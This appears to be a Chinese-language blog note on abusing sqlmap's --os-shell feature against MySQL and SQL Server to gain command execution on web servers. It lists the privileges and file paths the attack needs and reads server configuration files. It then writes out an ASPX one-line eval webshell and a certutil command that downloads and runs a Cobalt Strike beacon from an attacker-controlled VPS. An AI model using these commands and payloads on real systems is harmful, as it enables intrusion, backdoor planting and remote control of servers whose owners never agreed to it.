Lazy loaded image
🗒️sqlmap关于os-shell小记
字数 1287阅读时长 4 分钟
2020-11-6
2023-11-25
🎗️
sqlmap关于os-shell小记

SqlMap --os-shell 利用

MySQL

前提条件

  1. 拥有dba权限
  1. 网站的绝对路径
  1. 高版本的mysql需要 show variables like '%secure_file_priv%' 或者select
    1. @@secure;或者show global variables like '%secure%';的结果符合要求,secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。这个参数只能通过修改配置文件后重启mysql修改
      • 如果该变量为空,则变量无效,这时候最容易利用
      • 如果变量为目录的绝对路径,则服务器会将导入和导出操作限制为仅适用于该目录中的文件
      • 如果设置为NULL,则服务器禁用导入和导出操作。
  1. 当为php时,magic_quotes_gpc为off,php主动转义的功能关闭**
当执行 --os-shell时,这个时候sqlmap主要做了三件事情:
  1. 进行目标的一个基础信息的探测。
  1. 上传shell到目标web网站上(sqlmap会自动生成两个文件,一个用于命令执行,一个用于上传文件)
  1. 退出时删除shell。

寻找绝对路径

  1. 通过网站报错信息查看绝对路径
  1. 通过搜索引擎获取
    1. 配置文件获取路径 如果注入点有文件读取权限,就可以通过load_file函数读取配置文件,再从中寻找路径信息。
    Sqlmap 下可以使用--sql-shell 获取一个sql命令执行窗口,使用load_file('文件名')读取文件
    也可以使用 --file-read=文件名 ,读取文件
    sqlmap -u 'url' --batch --file-read=/etc/httpd/conf/httpd.conf
    • Linux 下常见的敏感文件
      • 通过执行select @@datadir; 获取数据库数据保存的位置、 select @@basedir; 安装位置、select @@plugin_dir mysql plugin目录
        • 可能会有一些关键信息,然后对关键信息搜索,查找默认路径

      执行--os-shell

      成功后会在网站绝对路径下,生成两个文件,一个可以上传,一个可以执行命令。
      notion image

      SqlServer

      必要条件

      • 数据库支持外连
      • 数据库权限为SA权限
      Sqlserver --os-shell主要是利用xp_cmdshell扩展进行命令执行。
      当执行--os-shell 时,这个时候sqlmap主要做了三件事情:
      1. 识别当前数据库类型,然后打印出来。
      1. 检测是否为数据库dba,也就是查看是否为sa权限。
      1. 检测是否开启了xp_cmdshell,如果没有开启sqlmap就会尝试开启。

      寻找绝对路径

      可以上传一个复杂文件名的文件,比如:l12asd3123_0sads7_08.jpg
      或者在网站中找到一个复杂的文件名,觉得会是唯一的,通过命令查找
      sqlmap --os-shell 下使用,以下任意一条命令
      查找文件
      notion image

      上一句话马或者连cs

      写一句话木马

      echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["weshe11b"],"unsafe");%^> > d:\\wwwroot\\1azq.aspx
      notion image
      notion image

      上线CS

      使用 certutil.exe -urlcache -split -f <http://vpsIP>:port/beacon32.exe a32.exe
      notion image
      a32.exe 执行, 有时执行不成功饭是因为权限不够,可以下载到有执行权限的目录(假如c:/temp/ ,有权限,certutil.exe -urlcache -split -f <http://vpsIP>:port/beacon32.exe c:/temp/a32.exe
      notion image

      总结

      在有拥有dba权限后,
      • mysql拿shell的难点在于寻找绝对路径
      • sqlserver在于xp_cmdshell 是否开启。
      上一篇
      SScan 一款src捡洞扫描器
      下一篇
      简单dockers逃逸学习

      评论
      Loading...